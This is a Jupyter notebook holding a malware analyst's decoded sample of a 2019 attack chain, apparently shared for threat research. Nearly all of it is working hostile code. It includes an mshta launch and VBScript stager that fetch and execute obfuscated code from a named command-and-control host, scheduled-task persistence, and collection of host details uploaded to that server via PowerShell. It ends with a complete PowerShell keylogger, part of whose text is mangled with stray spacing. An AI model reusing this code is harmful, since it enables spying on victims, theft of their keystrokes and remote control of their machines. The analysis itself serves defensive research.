2019-02-25-Decoded PowerShell-wscript Logger Uploader-Keylogger PowerShell.ipynb

{
 "cells": [
  {
   "cell_type": "code",
   "execution_count": null,
   "metadata": {},
   "outputs": [],
   "source": [
    "'''\n",
    "@VK_Intel\n",
    "MD5: 2befbf6dd3e1e6f4cc9c8262fafc2e1e\n",
    "h/t @nao_sec -> https://twitter.com/nao_sec/status/1100258648247418880\n",
    "\n",
    "Decoded PowerShell -> wscript logger host profile uploader -> PowerShell keylogger\n",
    "\n",
    "\n",
    "I.\n",
    "mshta script execution:\n",
    "\n",
    "\"C:\\Windows\\system32\\mshta.exe\"  https://fmchr.in/images/common/NEACD/Qzqrn.hta\n",
    "\n",
    "II.\n",
    "C2: https://fmchr.in/images/common/NEACD/expres.php?op=2\n",
    "<html><script language=\"VBScript\">On Error Resume Next:Function Co00(c):L=Len(c):s=\"\":For jx=0 To d-1:For ix=0 To Int(L/d)-1:s=s&Mid(c,ix*d+jx+1,1):Next:Next:s=s&Right(c,L-Int(L/d)*d):Co00=s:End Function:Set Post0 = CreateObject(\"MSXML2.ServerXMLHTTP.6.0\"):Post0.open \"GET\", \"https://fmchr.in/images/common/NEACD/expres.php?op=2\", False:Post0.Send:t0=Post0.responseText:d=11:t0=Co00(t0):Execute(t0)</script></html>\n",
    "\n",
    "Response:\n",
    "Slbcl=us ae=jrlwnht/.tCei\"S(eaie rcp)h\"lsmxwett:eplk eSa(.rlo.km ht\"Selweis/eeWht.exlhflOSeurrelt\",0,true)\n",
    "\n",
    "III.\n",
    "Upload file:\n",
    "powershell.exe (New-Object System.Net.WebClient).UploadFile('https://fmchr.in/images/common/NEACD/upload.php','C:\\Users\\____\\AppData\\Roaming\\Microsoft\\ttmp1.log');del \"\n",
    "\n",
    "IV.\n",
    "main profile wscript:\n",
    "\n",
    "Set wShell=CreateObject(\"WScript.Shell\")\n",
    "Set objFSO=CreateObject(\"Scripting.FileSystemObject\")\n",
    "folder = wShell.ExpandEnvironmentStrings(\"%appdata%\")\n",
    "info_path = wShell.ExpandEnvironmentStrings(\"%appdata%\")\n",
    "file_bat= folder & \"\\tmp.bat\"\n",
    "ttmp= info_path & \"\\Microsoft\\ttmp.log\"\n",
    "ttmp1= info_path & \"\\Microsoft\\ttmp1.log\"\n",
    "Post0.Open \"GET\",\"https://fmchr.in/images/common/NEACD/cow.php?op=0\",0\n",
    "Post0.Send()\n",
    "chk=Post0.responseText\n",
    "If Not(chk = \"nopower\" Or chk = \"power\") Then WScript.quit(0) End If\n",
    "retu=wShell.run(\"powershell.exe taskkill /im powershell.exe /f\",0,true)\n",
    "timenow=DateAdd(\"d\", 1, Now)\n",
    "y=CStr(DatePart(\"yyyy\", timenow))\n",
    "m=CStr(DatePart(\"m\", timenow))\n",
    "d=CStr(DatePart(\"d\", timenow))\n",
    "h=CStr(DatePart(\"h\", timenow))\n",
    "n=CStr(DatePart(\"n\", timenow))\n",
    "If Len(m)<2 Then m=\"0\"&m End If\n",
    "If Len(d)<2 Then d=\"0\"&d End If\n",
    "If Len(h)<2 Then h=\"0\"&h End If\n",
    "If Len(n)<2 Then n=\"0\"&n End If\n",
    "tmp=\"schtasks /Create /SC MINUTE /MO 15 /ST 07:00 /SD  /TN \"\"Adobe\\Microsoft\\Windows\\Dtjp\\Zht\"\" /TR \"\"wscript.exe \"\"\"\"\"\"%appdata%\\Microsoft\\Nsg\\simvb.vbs\"\"\"\"\"\"\"\" /F\"\n",
    "tmp1=Replace(tmp, \"/SD \", \"/SD \"&y&\"/\"&m&\"/\"&d)\n",
    "tmp2=Replace(tmp, \"/SD \", \"/SD \"&m&\"/\"&d&\"/\"&y)\n",
    "retu=wShell.run(tmp1,0,true)\n",
    "retu=wShell.run(tmp2,0,true)\n",
    "retu=wShell.run(\"powershell.exe whoami >> \"\"\"&ttmp&\"\"\"\",0,true)\n",
    "retu=wShell.run(\"certutil -f -encode \"\"\"&ttmp&\"\"\" \"\"\"&ttmp1&\"\"\"\",0,true)\n",
    "retu=wShell.run(\"powershell.exe (New-Object System.Net.WebClient).UploadFile('https://fmchr.in/images/common/NEACD/upload.php','\"&ttmp1&\"');del \"\"\"&ttmp1&\"\"\";del \"\"\"&ttmp&\"\"\"\",0,true)\n",
    "\n",
    "If chk = \"power\" Then \n",
    "\tPost0.Open \"GET\", \"https://fmchr.in/images/common/NEACD/cow.php?op=1\", False\n",
    "\tPost0.Send\n",
    "\td=11\n",
    "\ttmp0=Post0.responseText\n",
    "\tIf Not(tmp0 = \"double\") Then\n",
    "\t\ttmp0=Co00(tmp0)\n",
    "\t\tIf Left(tmp0,11) = \"cmd.exe /c \" Then\n",
    "\t\t\ttmp0=Right(tmp0,Len(tmp0)-11)\n",
    "\t\t\tSet objBat=objFSO.CreateTextFile(file_bat&\"x\",True)\n",
    "\t\t\tobjBat.Write tmp0\n",
    "\t\t\tobjBat.Close\n",
    "\t\t\tretu=wShell.run(\"cmd.exe /c rename \"\"\"&file_bat&\"x\"\" tmp.bat&\"&\"\"\"\"&file_bat&\"\"\"\",0,false)\n",
    "\t\tElse\n",
    "\t\t\tretu=wShell.run(tmp0,0,false)\n",
    "\t\tEnd If\n",
    "\tEnd If\n",
    "End If\n",
    "retu=wShell.run(\"powershell.exe taskkill /im mshta.exe /f\",0,true)\n",
    "\n",
    "V.\n",
    "Keylogger Intall:\n",
    "\n",
    "\"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\"\n",
    "del \"\"\n",
    "\"$env:appdata\\Microsoft\\xxx.tmp\"\n",
    "\"\";\n",
    "\n",
    "function Start - KeyLogger($Path = \"\"\n",
    "    \"$env:appdata\\Microsoft\\ttmp.log\"\n",
    "    \"\") {\n",
    "    $retEath = \"\"\n",
    "    \"`r`n\"\n",
    "    \"\";\n",
    "    $ClipEath = \"\"\n",
    "    \"[Clip]\"\n",
    "    \"\";\n",
    "    $quequeStart = \"\"\n",
    "    \"[\"\n",
    "    \"\";\n",
    "    $quequeEnd = \"\"\n",
    "    \"]\"\n",
    "    \"\";\n",
    "    $signatures = \"\"\n",
    "    \"[DllImport(\"\n",
    "    \"\"\n",
    "    \"\"\n",
    "    \"user32.dll\"\n",
    "    \"\"\n",
    "    \"\"\n",
    "    \", CharSet=CharSet.Auto, ExactSpelling=true)] public static extern short GetAsyncKeyState(int virtualKeyCode); `r`n[DllImport(\"\n",
    "    \"\"\n",
    "    \"\"\n",
    "    \"user32.dll\"\n",
    "    \"\"\n",
    "    \"\"\n",
    "    \", CharSet=CharSet.Auto)] public static extern int GetKeyboardState(byte[] keystate);`r`n[DllImport(\"\n",
    "    \"\"\n",
    "    \"\"\n",
    "    \"user32.dll\"\n",
    "    \"\"\n",
    "    \"\"\n",
    "    \", CharSet=CharSet.Auto)] public static extern int MapVirtualKey(uint uCode, int uMapType);`r`n[DllImport(\"\n",
    "    \"\"\n",
    "    \"\"\n",
    "    \"user32.dll\"\n",
    "    \"\"\n",
    "    \"\"\n",
    "    \", CharSet=CharSet.Auto)] public static extern int ToUnicode(uint wVirtKey, uint wScanCode, byte[] lpkeystate, System.Text.StringBuilder pwszBuff, int cchBuff, uint wFlags);`r`n[DllImport(\"\n",
    "    \"\"\n",
    "    \"\"\n",
    "    \"user32.dll\"\n",
    "    \"\"\n",
    "    \"\"\n",
    "    \", CharSet=CharSet.Auto)] public static extern uint GetForegroundWindow();`r`n[DllImport(\"\n",
    "    \"\"\n",
    "    \"\"\n",
    "    \"user32.dll\"\n",
    "    \"\"\n",
    "    \"\"\n",
    "    \", CharSet=CharSet.Auto)] public static extern uint GetWindowThreadProcessId(uint hWnd, uint[] lpdwProcessId);`r`n[DllImport(\"\n",
    "    \"\"\n",
    "    \"\"\n",
    "    \"user32.dll\"\n",
    "    \"\"\n",
    "    \"\"\n",
    "    \", CharSet=CharSet.Auto)] public static extern int MessageBoxW( uint hWnd, System.Text.StringBuilder lpText, System.Text.StringBuilder lpCaption, uint uType);\"\n",
    "    \"\";\n",
    "    $NullPoint = 0;\n",
    "    $API = Add - Type - MemberDefinition $signatures - Name 'Win32' - Namespace API - PassThru;\n",
    "    try {\n",
    "        $oldHwnd = 0;\n",
    "        while ($true) {\n",
    "            Start - Sleep - Milliseconds 40;\n",
    "            $foreHwnd = $API::GetForegroundWindow();\n",
    "            if (-not($foreHwnd - eq 0)) {\n",
    "                if (-not($foreHwnd - eq $oldHwnd)) {\n",
    "                    [System.IO.File]::AppendAllText($Path, $retEath, [System.Text.Encoding]::Unicode);\n",
    "                    [System.IO.File]::AppendAllText($Path, $quequeStart, [System.Text.Encoding]::Unicode);\n",
    "                    $procID = New - Object Int[] 2;\n",
    "                    $nPoint = $API::GetWindowThreadProcessId($foreHwnd, $procID);\n",
    "                    $ProcList = Get - Process - Id $procID[0];\n",
    "                    $szProcessName = $ProcList.ProcessName;\n",
    "                    [System.IO.File]::AppendAllText($Path, $szProcessName, [System.Text.Encoding]::Unicode);\n",
    "                    [System.IO.File]::AppendAllText($Path, $quequeEnd, [System.Text.Encoding]::Unicode);\n",
    "                    [System.IO.File]::AppendAllText($Path, $retEath, [System.Text.Encoding]::Unicode);\n",
    "                    $oldHwnd = $foreHwnd;\n",
    "                }\n",
    "            }\n",
    "            for ($ascii = 9; $ascii - le 254; $ascii++) {\n",
    "                $state = $API::GetAsyncKeyState($ascii);\n",
    "                if ($state - eq - 32767) {\n",
    "                    $null = [console]::CapsLock;\n",
    "                    $virtualKey = $API::MapVirtualKey($ascii, 3);\n",
    "                    $kbstate = New - Object Byte[] 256;\n",
    "                    $checkkbstate = $API::GetKeyboardState($kbstate);\n",
    "                    $mychar = New - Object - TypeName System.Text.StringBuilder;\n",
    "                    $success = $API::ToUnicode($ascii, $virtualKey, $kbstate, $mychar, $mychar.Capacity, 0);\n",
    "                    if ($success) {\n",
    "                        [System.IO.File]::AppendAllText($Path, $mychar, [System.Text.Encoding]::Unicode);\n",
    "                    }\n",
    "                }\n",
    "            }\n",
    "        }\n",
    "    } finally {}\n",
    "};\n",
    "Add - Type - Assembly System.Windows.Forms;\n",
    "Start - KeyLogger\n",
    "\n",
    "\n",
    "'''"
   ]
  }
 ],
 "metadata": {
  "kernelspec": {
   "display_name": "Python 3",
   "language": "python",
   "name": "python3"
  },
  "language_info": {
   "codemirror_mode": {
    "name": "ipython",
    "version": 3
   },
   "file_extension": ".py",
   "mimetype": "text/x-python",
   "name": "python",
   "nbconvert_exporter": "python",
   "pygments_lexer": "ipython3",
   "version": "3.7.0"
  }
 },
 "nbformat": 4,
 "nbformat_minor": 2
}